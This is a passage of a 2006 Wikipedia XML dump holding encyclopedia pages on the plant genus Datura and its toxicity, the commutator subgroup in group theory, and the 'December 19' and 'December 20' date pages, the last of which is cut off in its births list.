[[Category:Liberal parties]]
[[Category:Political parties in Taiwan (Republic of China)]]

[[de:Demokratische Fortschrittspartei]]
[[fr:Minjindang]]
[[id:Partai Progresif Demokratik]]
[[ja:民主進歩党]]
[[zh:民主進步黨]]
[[zh-min-nan:Bîn-chú-chìn-pō·-tóng]]</text>
    </revision>
  </page>
  <page>
    <title>Datura</title>
    <id>8846</id>
    <revision>
      <id>41932110</id>
      <timestamp>2006-03-02T18:38:39Z</timestamp>
      <contributor>
        <username>MrDarwin</username>
        <id>757091</id>
      </contributor>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = ''Datura''
| image = DaturaStramonium-plant-sm.jpg
| image_width = 300px
| image_caption = ''[[Datura stramonium]]''
| regnum = [[Plant]]ae
| phylum = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Solanales]]
| familia = [[Solanaceae]]
| genus = '''''Datura'''''
| genus_authority = [[Carolus Linnaeus|L.]]
| subdivision_ranks = Species
| subdivision = 
See text
}}

'''''Datura''''' is a [[genus]] of 12-15 species of [[flowering plant]]s belonging to the family [[Solanaceae]]. Their exact natural distribution is uncertain, due to extensive cultivation and [[naturalisation (biology)|naturalization]] throughout the temperate and tropical regions of the globe, but is most likely restricted to the [[Americas]], from the [[United States]] south through [[Mexico]] (where the highest species diversity occurs) to the mid-latitudes of [[South America]]. Some species are reported by some authorities to be native to [[China]], but this is not accepted by the ''Flora of China'', where the three species present are treated as introductions from the Americas.

Common names include '''jimson weed''', '''thorn-apple''' (from the spiny fruit), '''pricklyburr''' (similarly), and somewhat paradoxically, both '''angel's trumpet''' and '''devil's trumpet''' (from their large [[trumpet]]-shaped flowers). The word '''''Datura''''' comes from [[Hindi]] ''dhatūrā'' (thorn apple); record of this name dates back only to 1662 (OED).

They are large, vigorous [[annual plant]]s or short-lived [[perennial plant]]s, growing to 1-3 m tall. The [[leaf|leaves]] are alternate, 10-20 cm long and 5-18 cm broad, with a lobed or toothed margin. The [[flower]]s are erect or spreading (not pendulous), trumpet-shaped, 5-20 cm long and 4-12 cm broad at the mouth; color varies from white to yellow, pink, and pale purple. The [[fruit]] is a spiny [[capsule (fruit)|capsule]] 4-10 cm long and 2-6 cm broad, splitting open when ripe to release the numerous [[seed]]s.

''Datura'' species are used as food plants by the [[larva]]e of some [[Lepidoptera]] species including ''[[Hypercompe|Hypercompe indecisa]]''.

;Species
*''[[Datura bernhardii]]'' 
*''[[Datura ceratocaula]]'' 
*''[[Datura discolor]]'' - Desert Thorn-apple
*''[[Datura ferox]]'' 
*''[[Datura inoxia]]'' or ''Datura innoxia'' - Angel's Trumpet
*''[[Datura kymatocarpa]]''
*''[[Datura lanosa]]''
*''[[Datura leichhardtii]]'' (syn. ''D. pruinosa'') - Leichhardt's Datura
*''[[Datura metel]]'' 
*''[[Datura quercifolia]]'' - Oak-leaf Thorn-apple
*''[[Datura reburra]]''
*''[[Datura stramonium]]'' (syn. ''D. inermis'') - Jimsonweed, Thorn-apple 
*''[[Datura wrightii]]'' - Sacred datura, Sacred Thorn-apple

Some species formerly included in ''Datura'' are now classified in the separate genus ''[[Brugmansia]]''; this genus differs in being woody, making [[shrub]]s or small [[tree]]s, and in having pendulous flowers.

===Chemistry===
All members of the genus, contain the highly [[toxic]] [[anticholinergic]] [[alkaloid|alkaloids]] [[hyoscyamine]], [[scopolamine]], and [[atropine]]. One annual species, ''[[Datura stramonium]]'' was grown for its [[alkaloid]] content and used in [[medicine]].

==Cultivation and uses==
Datura has long been used as a [[poison]] and [[Psychedelics, dissociatives and deliriants|hallucinogen]]. The [[dose-response curve]] for the combination of alkaloids is ''very'' steep, so people who consume datura can easily take a potentially [[death|fatal]] [[overdose]]. In the [[1990s]] and [[2000s]], the United States media contained stories of [[adolescent]]s and young adults dying or becoming seriously ill from intentionally ingesting datura.

It was supposedly used in [[witchcraft]] to induce [[hallucination]]s. If one ingests the plant, one does not stop [[dream]]ing even when awake. Hallucinations caused by anticholinergics are extremely powerful in that they can create fully realistic three-dimensional objects that blend in perfectly with the person's view of the world.  This frequently results in dangerous and erratic behavior; hence, experiences with Datura and other members of the Solanaceae are justifiably infamous.

===Records of use===
''Datura stramonium'' is also called '''[[jimsonweed]]'''.  This name comes from the town of [[Jamestown, Virginia]].  Various versions of the story exist, but in the most common version, British soldiers sent to quell [[Bacon's Rebellion]] of [[1676]] were accidentally served this unfamiliar plant as food, causing many to be incapacitated for 11 days. ''[[Datura wrightii]]'', also called '''sacred datura''' or '''western jimsonweed''', has similar effects.

Perhaps the most famous account of jimsonweed intoxication is given in ''[[The Teachings of Don Juan]]'' by [[Carlos Castaneda]]. The narrator records several experiences with the subtly addictive &quot;devil's weed&quot;, which his mentor describes as having power similar to that of a woman:

:''She is as powerful as the best of allies, but there is something I personally don't like about her. She distorts men. She gives them a taste of power too soon without fortifying their hearts and makes them domineering and unpredictable. She makes them weak in the middle of their great power.''

In [[2003]], a [[Germany|German]] student known just as &quot;[[Andreas W]]&quot;, from [[Halle]] cut off his own [[penis]] and [[tongue]] with a pair of garden shears while under the influence of datura. Neither organ was re-attached successfully.

===In literature===
[[Image:SacredDaturaFx Wb2.jpg|thumb|right|The distinctive datura flower]]
[[Jean M. Auel]] described use of datura in her [[Earth's Children]] series. In [[The Clan of the Cave Bear]], the clan share a retrocognitive vision under influence of datura. In [[The Plains of Passage]] Ayla uses datura as a [[analgesic]] and [[sedative]].

In [[Paul Theroux]]'s 2005 novel ''Blinding Light'', a writer becomes addicted to a rare species of datura. Under its influence he is blind, but inspired, transcendently aware, and megalomaniacal.

==See also==
*[[Henbane]]
*[[Belladonna]]

==External links==
*[http://www.ars-grin.gov/cgi-bin/npgs/html/splist.pl?3415 Germplasm Resources Information Network: ''Datura'']
*[http://plants.usda.gov/java/profile?symbol=DATUR USDA Plant Profile: ''Datura'']
*[http://www.efloras.org/florataxon.aspx?flora_id=2&amp;taxon_id=109368 Flora of China: ''Datura'']
*[http://www.bmj.org/cgi/content/full/321/7255/219 Account of accidental minor poisoning by Datura] from the [[British Medical Journal]]
*[http://www.erowid.org/plants/datura/datura.shtml Erowid Datura Vault]
*[http://www.maripoisoncenter.com/ctr/9512jimsonweed.html Clinical Toxicology Review of Datura Poisoning]
*[http://www.herbalgram.org/herbalgram/articleview.asp?a=2930 JimsonWeed: History, Perceptions, Traditional Uses, and Potential Therapeutic Benefits of the Genus Datura HerbalGram. 2006;69:40-50 © American Botanical Council by Kofi Busia &amp; Fiona Heckels]

----
'''''Datura''''' is also the name of a [[trance music|trance]] song by [[singer]]/[[songwriter]] [[Tori Amos]]. Appearing on her album [[To Venus and Back]], the song features Amos reading a list of various plants that are growing in her garden over hypnotic [[piano]] and rhythms. She consistently mentions datura within the list, as if to indicate it is overgrowing and destroying her garden. The flower, in the song, is used as a metaphor for destructive relationships.

'''''Datura''''' is also the name of an Italian [[Techno music|techno]]/trance group formed [[1991]] in [[Bologna]] by the musicians [[Ciro Pagano]] and [[Stefano Mazzavillani]] and the DJs Ricci &amp; Cirillo. One of their biggest hit singles ''Yerba del diablo'' (&quot;Devil's weed&quot;) also pays reference to the plant.

'''''Datura''''' is also the name of a fictional chemical in [[Ryu Murakami]]'s surreal 1980 novel [[Coin Locker Babies]].  It's a gas that, when ingested,  completely destroys a person's self-control and restraint, resulting in &quot;a form of criminal psychosis [and] the creation of an irreversibly destructive personality&quot; without remorse. [Kodansha Intl. Ltd. (English trans., 1995), p.118]

[[Category:Deliriants]]
[[Category:Entheogens]]
[[Category:Herbal and fungal hallucinogens]]
[[Category:Solanaceae]]

[[de:Stechapfel]]
[[fr:Datura]]
[[it:Datura]]
[[lt:Durnaropė]]
[[nl:Datura]]
[[ja:チョウセンアサガオ]]
[[pl:Bieluń dziędzierzawa]]
[[sq:Datura]]
[[sv:Spikklubbor]]</text>
    </revision>
  </page>
  <page>
    <title>Commutator subgroup</title>
    <id>8847</id>
    <revision>
      <id>40024337</id>
      <timestamp>2006-02-17T16:00:28Z</timestamp>
      <contributor>
        <username>Zundark</username>
        <id>70</id>
      </contributor>
      <comment>fix one I missed, and some tidying up</comment>
      <text xml:space="preserve">In [[mathematics]], the '''commutator subgroup''' (or '''derived subgroup''') of a [[group (mathematics)|group]] ''G'' is the [[subgroup]] &lt;math&gt;[G,G]&lt;/math&gt; (also denoted &lt;math&gt;G'&lt;/math&gt; or &lt;math&gt;G^{(1)}&lt;/math&gt;) [[generating set of a group | generated]] by all the
[[commutator]]s of elements of ''G''; that is, &lt;math&gt;[G,G]&lt;/math&gt; = 
&lt;[''g'',''h'']&amp;nbsp;: ''g'',''h'' in ''G''&gt;.

The commutator subgroup can also be defined as the set of elements ''g'' of the group which have an expression as a product ''g=g''&lt;sub&gt;1&lt;/sub&gt;''g''&lt;sub&gt;2&lt;/sub&gt;...''g''&lt;sub&gt;k&lt;/sub&gt; that can be rearranged to give the identity. 

Note that the set of all commutators of the group is, generally, not a group (in any interesting case). While clumsily defined, the commutator subgroup is important. 

An abelian group has only trivial commutators.  Hence its commutator subgroup is {1}. The converse is also (trivially) true. 

The derived subgroup, in a sense, gives a measure of how far ''G'' is from being [[abelian group|abelian]]; the larger &lt;math&gt;[G,G]&lt;/math&gt;, the &quot;less abelian&quot; ''G'' is. In particular, &lt;math&gt;[G,G]&lt;/math&gt; is equal to {1} if and only if the group ''G'' is abelian. A '''perfect group''' ''G'' is one with &lt;math&gt;[G,G]=G&lt;/math&gt;.

If ''f'' : ''G'' &amp;rarr; ''H'' is a [[group homomorphism]], then &lt;math&gt;f([G,G])&lt;/math&gt; is a subgroup of &lt;math&gt;[H,H]&lt;/math&gt;, because ''f'' maps commutators to commutators. This implies that the operation of forming derived groups is a [[functor]] from the [[category theory|category]] of groups to the category of groups.

Applying this to endomorphisms ''f'', we find that &lt;math&gt;[G,G]&lt;/math&gt; is a [[characteristic subgroup | fully characteristic subgroup]] of ''G'', and in particular a [[normal subgroup]] of ''G''. The [[factor group|quotient]] &lt;math&gt;G/[G,G]&lt;/math&gt;
is an abelian group sometimes called ''G'' '''made abelian''', or the '''abelianization''' of ''G''. In a sense, it is the abelian group that's &quot;closest&quot; to ''G'', which can be expressed by the following [[universal property]]: if ''p'' : ''G'' &amp;rarr; &lt;math&gt;G/[G,G]&lt;/math&gt; is the canonical projection, and ''f'' : ''G'' &amp;rarr; ''A'' is any homomorphism from ''G'' to an ''abelian'' group ''A'', then there exists exactly one homomorphism ''s'' : &lt;math&gt;G/[G,G]&lt;/math&gt; &amp;rarr; ''A'' such that ''s'' o ''p'' = ''f''. In the language of category theory: the functor which assigns to every group its abelianization is [[adjoint functors|left adjoint]] to the forgetful functor which assigns to every abelian group its underlying group.

In particular, a quotient ''G''/''N'' of ''G'' is abelian if and only if ''N'' includes &lt;math&gt;[G,G]&lt;/math&gt;.

==See also==
*[[solvable group]]
*[[nilpotent group]]

[[Category:Group theory]]

[[de:Kommutatorgruppe]]
[[fr:Groupe dérivé]]
[[ru:Коммутант]]</text>
    </revision>
  </page>
  <page>
    <title>December 19</title>
    <id>8848</id>
    <revision>
      <id>42011634</id>
      <timestamp>2006-03-03T05:14:06Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Deaths */ added birth year</comment>
      <text xml:space="preserve">'''[[December 19]]''' is the 353rd day of the year (354th in [[leap year]]s) in the [[Gregorian calendar]]. There are 12 days remaining.

{{DecemberCalendar}}

==Events==
&lt;!-- Please don't Wikify years that have already been linked (that means you, Skoglund) --&gt;
*[[324]] - [[Licinius]] abdicates his position as [[List of Roman Emperors|Roman Emperor]].
*[[1187]] - [[Pope Clement III]] is elected.
*[[1777]] - [[American Revolutionary War]]: [[George Washington]]'s [[Continental Army]] goes into winter quarters at [[Valley Forge, Pennsylvania]].
*[[1828]] - [[Nullification Crisis]]: [[Vice President of the United States]] [[John C. Calhoun]] pens the ''[[South Carolina Exposition and Protest]]'', protesting the [[Tariff of 1828]].
*[[1835]] - The first issue of ''[[The Blade]]'' newspaper is published in [[Toledo, Ohio]].
*[[1912]] - William H. Van Schaick, captain of the [[steamship]] ''[[General Slocum]]'' which caught fire and killed over 1,000 people, is pardoned by [[President Taft]] after 3-and-a-half-years in [[Sing Sing]] prison .
*[[1916]] - [[World War I]]: [[Battle of Verdun]] - On the [[Western Front]], the [[French Army]] successfully holds off the [[German Army]] and drives it back to its starting position.
*[[1941]] - [[Hitler]] becomes Supreme [[Commander-in-Chief]] of the [[German Army]]
*[[1961]] - [[India]] annexes [[Daman and Diu]], part of [[Portuguese India]].
*[[1963]] - [[Zanzibar]] receives its [[independence]] from the [[United Kingdom]], to become a [[constitutional monarchy]] under [[Sultan]] [[Hamoud bin Mohammed of Zanzibar|Hamoud bin Mohammed]].
*[[1965]] - Prison guard George Hodson is killed during [[Ronald Ryan]] and [[Peter Walker]]'s escape from [[HM Prison Pentridge]] in [[Coburg, Victoria]].
*[[1967]] - [[Prime Minister of Australia]] [[Harold Holt]] is [[Death in absentia|officially presumed dead]].
*[[1972]] - [[Project Apollo]]: The last manned lunar flight, ''[[Apollo 17]]'', crewed by [[Eugene Cernan]], [[Ron Evans]] and [[Harrison Schmitt]], returns to [[Earth]].
*[[1974]] - The [[Altair 8800]] [[microcomputer]] kit goes on sale.
*1974 - [[Nelson A. Rockefeller]] is sworn is as the 41st [[Vice President of the United States]] under President [[Gerald Ford]].
*[[1984]] - The [[Sino-British Joint Declaration]], stating that [[China]] would resume the exercise of sovereignty over [[Hong Kong]] and the [[United Kingdom]] would restore Hong Kong to China with effect from [[July 1]], [[1997]], is signed in [[Beijing]] by [[Deng Xiaoping]] and [[Margaret Thatcher]].
*[[1988]] - [[Lawn darts]] are banned from sale in the [[United States]] by the [[Consumer Product Safety Commission]].
*[[1997]] - [[Silkair Flight 185]] crashes into the [[Musi River]], near [[Palembang]] in [[Indonesia]], killing 104.
*1997 - The film ''[[Titanic (1997 film)|Titanic]]'' is released. 
*[[1998]] - [[Lewinsky scandal]]: The [[United States House of Representatives]] forwards articles I and III of [[impeachment]] against [[President of the United States|President]] [[Bill Clinton]] to the [[United States Senate|Senate]].
*[[1999]] - [[Portugal]] transferred [[sovereignty]] of [[Macau]] to the [[People's Republic of China]]. 
*[[2000]] - The Leninist Guerrilla Units wing of the [[Communist Labour Party of Turkey/Leninist]] attack a [[Nationalist Movement Party]] office in [[Istanbul]], killing one person and injuring three.
*[[2001]] - The film ''[[The Lord of the Rings: The Fellowship of the Ring]]'' is released.
*2001 - A record high [[barometric pressure]] of 1085.6 [[hPa]] (32.06 [[inHg]]) is recorded at [[Tosontsengel, Hövsgöl]] in [[Mongolia]].
*2001 - [[Argentine economic crisis]]: [[December 2001 riots (Argentina)|December 2001 riots]] - Riots erupt in [[Buenos Aires]] after [[Domingo Cavallo]]'s &quot;[[Corralito]]&quot; measures restrict the withdrawal of cash from bank deposits.

==Births==
&lt;!-- Please don't Wikify years that have already been linked (that means you, Skoglund) --&gt;
*[[1554]] - [[Philip William, Prince of Orange]] (d. [[1618]])
*[[1683]] - King [[Philip V of Spain]] (d. [[1746]])
*[[1699]] - [[William Bowyer]], English printer (d. [[1777]])
*[[1714]] - [[John Winthrop (1714-1779)|John Winthrop]], American astronomer (d. [[1779]])
*[[1778]] - [[Princess Marie-Thérèse-Charlotte|Marie Thérèse Charlotte]], eldest child of [[Marie Antoinette]] and [[Louis XVI of France|Louis XVI]] of France (d. [[1851]]) 
*[[1813]] - [[Thomas Andrews (scientist)|Thomas Andrews]], Irish chemist (d. [[1885]])
*[[1852]] - [[Albert Abraham Michelson]], Prussian-born American physicist and [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1931]])
*[[1865]] - [[Minnie Maddern Fiske]], American actress (d. [[1932]])
*[[1885]] - [[Joe &quot;King&quot; Oliver]], American jazz musician (d. [[1938]])
*[[1888]] - [[Fritz Reiner]], Austro-Hungarian-born American conductor (d. [[1963]])
*[[1894]] - [[Ford Frick]], American baseball commissioner (d. [[1978]])
*[[1901]] - [[Rudolf Hell]], German inventor (d. [[2002]])
*[[1902]] - Sir [[Ralph Richardson]], British actor (d. [[1983]])
*[[1903]] - [[George Davis Snell]], American geneticist and [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (d. [[1996]])
*[[1906]] - [[Leonid Brezhnev]], Russian-born leader of the Soviet Union (d. [[1982]])
*[[1907]] - [[Jimmy McLarnin]], Northern Irish-born boxer and World [[Welterweight]] Champion (d. [[2004]])
*[[1910]] - [[Jean Genet]], French writer (d. [[1986]])
*[[1915]] - [[Edith Piaf]], French singer and actress (d. [[1963]])
*[[1918]] - [[Professor Longhair]] (Henry Roeland Byrd), American blues musician (d. [[1980]])
*[[1920]] - [[David Susskind]], American TV talk show host (d.[[1987]])
*[[1923]] - [[Gordon Jackson (actor)|Gordon Jackson]], British actor (d. [[1990]])
*[[1925]] - [[Tankred Dorst]], German dramatist
*[[1927]] - [[James Booth]] (David Geeves), British actor and screenwriter (d. [[2005]])
*[[1929]] - [[Bob Brookmeyer]], American jazz musician
*[[1933]] - [[Cicely Tyson]], American actress
*[[1934]] - [[Al Kaline]], American baseball player
*1934 - [[Rudi Carrell]], Dutch singer
*[[1935]] - [[Bobby Timmons]], American jazz pianist (d. [[1974]])
*[[1940]] - [[Phil Ochs]], American folk singer and songwriter (d. [[1976]])
*[[1941]] - [[Maurice White]], American singer and songwriter ([[Earth, Wind &amp; Fire]])
*[[1944]] - [[Richard Leakey]], British anthropologist
*1944 - [[Mitchell Feigenbaum]], American mathematical physicist
*1944 - [[Alvin Lee]] (Graham Barnes), British singer and guitarist ([[Ten Years After]])
*1944 - [[Zal Yanovsky]], Canadian guitarist and singer ([[The Lovin' Spoonful]])
*[[1946]] - [[Stan Smith]], American tennis player
*1946 - [[Robert Urich]], American actor (d. [[2002]])
*[[1958]] - [[Limahl]] (Christopher Hamill), British singer ([[Kajagoogoo]])
*[[1960]] - [[Mike Lookinland]], American actor
*[[1961]] - [[Eric Allin Cornell]], American physicist and [[Nobel Prize in Physics|Nobel Prize]] laureate
*1961 - [[Matthew Waterhouse]], British actor
*1961 - [[Reggie White]], American Football player (d. [[2004]])
*[[1964]] - [[Arvydas Sabonis]], Soviet-born Lithuanian basketball player and Olympic gold medalist
*[[1965]] - [[Chito Martinez]], Belizean baseball player
*[[1966]] - [[Eric Weinrich]], American ice hockey player
*[[1969]] - [[Kristy Swanson]], American actress
*[[1971]] - [[Tiffany Towers]], Canadian adult film actress
*[[1972]] - [[Alyssa Milano]], American actress
*1972 - [[Warren Sapp]], American Football player
*[[1974]] - [[Jake Plummer]], American Football player
*1974 - [[Ricky Ponting]], [[Australia cricket team|Australian]] test cricketer
*[[1975]] - [[Olivier Tebily]], [[Côte d'Ivoire national football team|Ivorian]] international footballer
*[[1980]] - [[Jake Gyllenhaal]], American actor
*1980 - [[Marla Sokoloff]], American actress
*[[1983]] - [[Kahlen Rondot]], American model
*[[1988]] - [[Paulina Gretzky]], American actress; daughter of [[Wayne Gretzky]]

==Deaths==
*[[401]] - [[Pope Anastasius I]]
*[[1075]] - [[Edith of Wessex]], Queen of [[Edward the Confessor]] of England
*[[1327]] - [[Agnes of France]], Duchess of Burgundy
*[[1370]] - [[Pope Urban V]] (b. [[1310]])
*[[1737]] - [[James Sobieski]], Crown Prince of Poland (b. [[1667]])
*[[1741]] - [[Vitus Bering]], Danish-born explorer (b. [[1681]])
*[[1745]] - [[Jean-Baptiste van Loo]], French painter (b. [[1684]])
*[[1749]] - [[Francesco Antonio Bonporti]], Italian priest and composer (b. [[1672]])
*[[1751]] - [[Louise of Great Britain]], Queen of [[Frederick V of Denmark]] (b. [[1724]])
*[[1807]] - [[Friedrich Melchior, baron von Grimm]], German writer (b. [[1723]])
*[[1819]] - Sir [[Thomas Fremantle]], British naval officer and politician (b. [[1765]])
*[[1848]] - [[Emily Brontë]], British author (b. [[1818]])
*[[1915]] - [[Alois Alzheimer]], German neuroscientist (b. [[1864]])
*[[1932]] - [[Yoon Bong-Gil]], Protester against Japanese occupation of Korea (executed) (b. [[1908]])
*[[1939]] - [[Hans Langsdorff]], German naval officer (b. [[1894]])
*[[1946]] - [[Paul Langevin]], French physicist (b. [[1872]])
*[[1953]] - [[Robert Millikan]], American physicist and [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1868]])
*[[1967]] - [[Harold Holt]], seventeenth [[Prime Minister of Australia]] (b. [[1908]])
*[[1968]] - [[Norman Thomas]], American socialist (b. [[1884]])
*[[1989]] - [[Stella Gibbons]], British author (b. [[1902]])
*[[1996]] - [[Marcello Mastroianni]], Italian actor (b. [[1924]])
*[[1999]] - [[Desmond Llewelyn]], British actor (b. [[1914]])
*[[2003]] - [[Peter Carter-Ruck]], British lawyer (b. [[1914]])
*2003 - [[Hope Lange]], American actress (b. [[1931]])
*[[2004]] - [[Herbert C. Brown]], British-born American chemist and [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1912]])
*2004 - [[Renata Tebaldi]], Italian soprano (b. [[1922]])
*[[2005]] - [[Vincent Gigante]], American mafioso (b. [[1927]])

==Holidays and observances==
* [[Roman festivals]] - [[Opalia]]
* Also see [[December 19 (Eastern Orthodox liturgics)]]
* [[USA]] - [[National Unity Day]], declared in [[1979]] by President [[Jimmy Carter]] in rememberance of the [[Iran hostage crisis|American hostages being held in Tehran, Iran]]

==Fictional Events==
*[[2003]] - the events of the fictional docu-drama ''[[The Day Britain Stopped]]'' take place.

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/19 BBC: On This Day]
----

[[December 18]] - [[December 20]] - [[November 19]] - [[January 19]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:19 Desember]]
[[ar:19 ديسمبر]]
[[an:19 d'abiento]]
[[ast:19 d'avientu]]
[[bg:19 декември]]
[[be:19 сьнежня]]
[[bs:19. decembar]]
[[ca:19 de desembre]]
[[ceb:Disyembre 19]]
[[cv:Раштав, 19]]
[[co:19 di decembre]]
[[cs:19. prosinec]]
[[cy:19 Rhagfyr]]
[[da:19. december]]
[[de:19. Dezember]]
[[et:19. detsember]]
[[el:19 Δεκεμβρίου]]
[[es:19 de diciembre]]
[[eo:19-a de decembro]]
[[eu:Abenduaren 19]]
[[fo:19. desember]]
[[fr:19 décembre]]
[[fy:19 desimber]]
[[ga:19 Nollaig]]
[[gl:19 de decembro]]
[[ko:12월 19일]]
[[hr:19. prosinca]]
[[io:19 di decembro]]
[[id:19 Desember]]
[[ia:19 de decembre]]
[[is:19. desember]]
[[it:19 dicembre]]
[[he:19 בדצמבר]]
[[jv:19 Desember]]
[[ka:19 დეკემბერი]]
[[csb:19 gòdnika]]
[[ku:19'ê berfanbarê]]
[[la:19 Decembris]]
[[lt:Gruodžio 19]]
[[lb:19. Dezember]]
[[hu:December 19]]
[[mk:19 декември]]
[[ms:19 Disember]]
[[nap:19 'e dicembre]]
[[nl:19 december]]
[[ja:12月19日]]
[[no:19. desember]]
[[nn:19. desember]]
[[oc:19 de decembre]]
[[os:19 декабры]]
[[pl:19 grudnia]]
[[pt:19 de Dezembro]]
[[ro:19 decembrie]]
[[ru:19 декабря]]
[[se:Juovlamánu 19.]]
[[sco:19 December]]
[[sq:19 Dhjetor]]
[[scn:19 di dicèmmiru]]
[[simple:December 19]]
[[sk:19. december]]
[[sl:19. december]]
[[sr:19. децембар]]
[[fi:19. joulukuuta]]
[[sv:19 december]]
[[tl:Disyembre 19]]
[[ta:டிசம்பர் 19]]
[[tt:19. Dekäber]]
[[te:డిసెంబర్ 19]]
[[th:19 ธันวาคม]]
[[vi:19 tháng 12]]
[[tr:19 Aralık]]
[[uk:19 грудня]]
[[wa:19 di decimbe]]
[[war:Disyembre 19]]
[[zh:12月19日]]
[[pam:Disiembri 19]]</text>
    </revision>
  </page>
  <page>
    <title>December 20</title>
    <id>8849</id>
    <revision>
      <id>42011789</id>
      <timestamp>2006-03-03T05:15:33Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Births */ removed non-noteable</comment>
      <text xml:space="preserve">'''[[December 20]]''' is the 354th day of the year (355th in [[leap year]]s) in the [[Gregorian calendar]]. There are 11 days remaining.

{{DecemberCalendar}}

==Events==
*[[217]] - The papacy of [[Pope Zephyrinus]] ends.
*[[1522]] - [[Suleiman the Magnificent]] accepts the surrender of the surviving [[Knights of Rhodes]], who are allowed to evacuate.  They eventually re-settle on [[Malta]] and become known as the [[Knights of Malta]].
*[[1803]] - [[Louisiana Purchase]] completed.
*[[1860]] - [[South Carolina]] becomes first state to [[secession|secede]] from the [[United States]].
*[[1915]] - Last [[Australia]]n troops evacuated from [[Gallipoli]].
*[[1917]] - [[Cheka]], first [[Soviet Union|Soviet]] secret police, founded.
*[[1951]] - Nuclear power first harvested when [[EBR-1]] powers four light bulbs.
*[[1952]] - [[United States Air Force]] [[C-124]] crashes and burns in [[Moses Lake]], [[Washington]] killing 87.
*[[1960]] - [[Viet Cong|National Front for the Liberation of Vietnam]] is formed.
*[[1973]] - The Spanish [[Prime Minister]], Admiral Luis Carrero Blanco, is assassinated by a [[car bomb]] attack in [[Madrid]].
*[[1984]] - The [[Summit tunnel fire]] is the largest underground fire in history, as a freight train carrying over 1 million litres of petrol derails near the town of [[Todmorden]] in the [[Pennines]].
*[[1988]] - The [[United Nations Convention Against Illicit Traffic in Narcotic Drugs and Psychotropic Substances]] is signed at [[Vienna]]. 
*[[1989]] - [[Operation Just Cause]]: United States sends troops into [[Panama]] to overthrow government of [[Manuel Noriega]].
*[[1995]] - [[NATO]] begins peacekeeping in [[Bosnia and Herzegovina|Bosnia]].
*1995 - An [[American Airlines]] [[American Airlines Flight 965|Flight 965]] [[Boeing 757]] crashes into a mountain 50 km north of [[Cali]], [[Colombia]] killing 160.
*[[1996]] - [[NeXT]] merges with [[Apple Computer]], starting the path to [[Mac OS X]].
*[[1999]] - [[Vermont]]'s [[Supreme Court]] rules that [[homosexuality|homosexual]] couples are entitled to same benefits and protections as married [[heterosexual]] couples.
*1999 - [[Macau]] is handed over to the [[People's Republic of China]] by [[Portugal]].
*2001 - [[Argentine economic crisis (1999-2002)]]: [[President of Argentina]] [[Fernando de la Rúa]] is forced out of office.
*[[2002]] - US Senator [[Trent Lott]] resigns as [[United States Senate Majority Leader|majority leader]].
*[[2005]] - [[2005 New York City transit strike]]: [[New York City]]'s [[Transport Workers Union]] Local 100 goes on strike, shutting down all [[New York City Subway]] and [[New York City Bus|Bus]] services.

==Births==
*[[1537]] - King [[John III of Sweden]] (d. [[1592]])
*[[1566]] - [[Edward Wightman]], English Baptist preacher (d. [[1612]])
*[[1579]] - (baptized) [[John Fletcher (playwright)|John Fletcher]], English playwright (d. [[1625]])
*[[1626]] - [[Veit Ludwig von Seckendorff]], German statesman (d. [[1692]])
*[[1629]] - [[Pieter de Hooch]], Dutch painter (d. [[1684]])
*[[1717]] - [[Charles Gravier, comte de Vergennes]], French statesman and diplomat (d. [[1787]])
*[[1786]] - [[Pietro Raimondi]], Italian composer (d. [[1853]])
*[[1792]] - [[Nicolas Charlet]], French painter (d. [[1845]])
*[[1833]] - [[Samuel Mudd]], American physician (d. [[1883]])
*[[1838]] - [[Edwin Abbott Abbott]], English schoolmaster, theologian, and author (d. [[1926]])
*[[1841]] - [[Ferdinand Buisson]], French pacifist, recipient of the [[Nobel Peace Prize]] (d. [[1932]])
*[[1860]] - [[Dan Leno]], English entertainer (d. [[1904]])
*[[1861]] - [[Ivana Kobilca]], Slovenian painter (d. [[1926]])
*[[1868]] - [[Harvey Firestone]], American automobile pioneer (d. [[1938]])
*[[1881]] - [[Branch Rickey]], baseball executive (d. [[1965]])
*[[1886]] - [[Hazel Hotchkiss Wightman]], American tennis player (d. [[1974]])
*[[1890]] - [[Yvonne Arnaud]], French-born actress (d. [[1958]])
*1890 - [[Jaroslav Heyrovský]], Czech chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1967]])
*[[1894]] - Sir [[Robert Menzies]], twelfth [[Prime Minister of Australia]] (d. [[1978]]) 
*[[1898]] - [[Irene Dunne]], American actress (d. [[1990]])
*[[1901]] - [[Robert Van de Graaff]], American physicist and inventor (d. [[1967]])
*[[1902]] - [[Sidney Hook]], American philosopher (d. [[1989]])
*1902 - [[George Edward Alexander Windsor]], Duke of Kent (d. [[1942]])
*[[1917]] - [[David Bohm]], American-born physicist, philosopher, and neuropsychologist (d. [[1992]])
*[[1922]] - [[George Roy Hill]], American film director (d. [[2002]])
*[[1926]] - Sir [[Geoffrey Howe]], British politician
*1926 - [[Otto Graf Lambsdorff]], German politician
*[[1927]] - [[Kim Young-sam]], [[President of South Korea]]
*[[1933]] - [[Jean Carnahan]], U.S. Senator
*[[1944]] - [[Bobby Colomby]], American musician ([[Blood, Sweat &amp; Tears]])
*[[1945]] - [[Peter Criss|Peter George Criscoula]], American drummer and singer ([[KISS (band)]])
*[[1946]] - [[Uri Geller]], Israeli psychic
*1946 - [[Dick Wolf]], American television series creator
*[[1947]] - [[Gigliola Cinquetti]], Italian singer and [[Eurovision Song Contest]] winner
*[[1949]] - [[Soumaïla Cissé]], Malian politician
*[[1952]] - [[Jenny Agutter]], English actress
*[[1954]] - [[Michael Badalucco]], American actor
*[[1957]] - [[Billy Bragg]], English singer and songwriter
*1957 - [[Mike Watt]], American bassist
*1957 - [[Joyce Hyser]], American actress
*1957 - [[Anna Vissi]], Greek singer
*[[1960]] - [[Nalo Hopkinson]], Canadian writer
*[[1963]] - [[Infanta Elena of Spain]], Duchess of Lugo 
*[[1965]] - [[Rich Gannon]], American football player
*[[1966]] - [[Chris Robinson]], American singer ([[Black Crowes]])
